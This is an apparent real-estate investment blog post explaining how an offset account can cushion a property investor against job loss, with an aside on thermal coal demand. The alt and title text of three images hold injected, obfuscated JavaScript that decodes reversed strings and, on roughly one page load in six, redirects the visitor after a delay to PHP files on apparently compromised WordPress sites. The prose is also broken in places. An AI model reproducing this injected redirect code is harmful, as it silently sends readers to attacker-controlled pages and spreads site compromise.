an Offset Account to protect your investment
Today we will look at ways to protect your residential property investment if you lose your job such as the use of an offset account and other suggestions that may be helpful.
Firstly, though, following my blog on the world demand for thermal coal, the Central Highlands Development Corporation had a business breakfast at McIndoe Park in Emerald and one of the speakers echoed my positive views on the future of coal.
The speaker was Greg Evans, Executive Director – Coal, at Minerals Council of Australia. Another speaker who agreed with him was Andrew Barger, Director Infrastructure and Economics with the Queensland Resources Council.
Greg Evans pointed out that in Australia 71% of electricity comes from coal and Australia’s coal exports are expected to increase by 37% to 2040. He predicts that 90% of our thermal coal exported will be going to Asia.
This is in line with my comment, last week, that demand from South East Asia will increase by just under 5% per annum.
related reading
World Demand for Thermal Coal will Increase
to-purchase-an-investment-property/”>Using Home Equity to Purchase an Investment Property
![An Offset Account <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Protect your Investment Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2016/06/offset-account-2.jpg "An Offset Account <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Protect your Investment Steve Taylor & Partners")
Firstly to do nothing is an easy decision, but the end result is nothing.
The good new is, however, that he is now buying one of my 5 bedroom executive homes in Brisbane for $500,000 using $67,000 of his $100,000 in savings for a 10% deposit, legals, stamp duty etc.
He has $100,000 so why use only $67,000 and what does he do with the balance of $33,000?
Shock Absorber
The $33,000 is like a shock absorber. He will put this in an offset account.
How does that help him?
It has the same effect of him paying an extra $33,000 off his loan. Because it is “offset” he pays no interest on that amount of his loan, but it is available in the case of unforeseen circumstances.
What if this fellow used the equity in existing property and wanted to borrow 100%? The principal is the same. He could borrow an extra $30,000 and put it in an offset account.
What this would mean, in effect, is that he is paying no interest on the $30,000.
A buffer
![An Offset Account <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Protect your Investment Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2016/06/offset-account-1.jpg "An Offset Account <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Protect your Investment Steve Taylor & Partners")
Other options would be …
If you can afford it, take your tax refund as a lump sum and pay it off your mortgage. There are many simple strategies, but every case is different and so are the methods of taking the worry out of residential property investing.
If you are interested in enquiring about buying property to start your Residential Property Portfolio, please contact our office to schedule a free, no-obligation consultation.
Steve Taylor
If you prefer to listen here is my radio interview on Emerald 4HI:
![An Offset Account <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Protect your Investment Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2015/01/steve-taylor-blog-headshot.png "An Offset Account <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Protect your Investment Steve Taylor & Partners")
DISCLAIMER
Steve Taylor & Partners blog is opinion and not advice. Readers should seek their own professional advice on the subject being discussed.